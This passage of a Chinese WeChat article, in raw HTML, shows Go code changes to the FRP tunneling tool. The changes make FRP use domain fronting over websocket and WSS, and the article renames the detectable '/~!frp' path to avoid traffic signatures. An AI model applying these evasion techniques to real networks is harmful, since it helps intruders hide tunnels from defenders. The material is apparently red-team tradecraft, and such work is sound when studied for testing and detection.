style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DialConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">所以只需要在往 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">NewConfig</span></code>多传入一个指定的host参数即可。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">新加入的host参数只要在 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">cmd</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">frpc</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sub</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">root</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">RegisterCommonFlags</span></code>里进行注册即可。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">测试效果</h4><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5072711719418306" data-s="300,640" style="" data-type="png" data-w="1169" src="https://wechat2rss.xlab.app/img-proxy/?k=d84636fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcT5P32v7cPpUFjNPdWEGiaTB6ibPWIJbLP15PGlGRYHopR4S1sS6xp9h9v2gjHLzibemI6C4fYDrIFg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">这样我们就实现了 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">通过</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">协议让</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">FRP</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">用上域前置</span></code>。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">WSS实现</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">由上图，可见用websocket还是特征比较明显的，比如 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/~!</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">frp</span></code>。这里我们可以通过如下修改</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">pkg</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">util</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">net</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>下的变量即可。</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">const</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">FrpWebsocketPath</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;/~!frp&#34;</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">同时，我们也修改frp使之实现wss协议。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">@Wfox师傅提醒frp有人pull了支持wss协议的修改代码。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://github.com/fatedier/frp/pull/1919/files" target="_blank">https://github.com/fatedier/frp/pull/1919/files</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">通过pull里的修改就可以实现wss协议了</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">同时由于在某云域前置里，用wss协议的情况下，server_addr用域名会不能正常回源，只能用ip。且会存在证书报错。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.280040733197556" data-s="300,640" style="" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=95202256&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcT5P32v7cPpUFjNPdWEGiaTMFcK4XCUbPh94Bia5Eic212EUbCplrMdOWaex9BNTvic85rP1Ty8CgMyQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">这里可以通过做如下修改 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">pkg</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">util</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">net</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>里的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">ConnectWebsocketServer</span></code>函数</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// addr: domain:port</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">func </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ConnectWebsocketServer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket_domain </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> isSecure </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bool</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 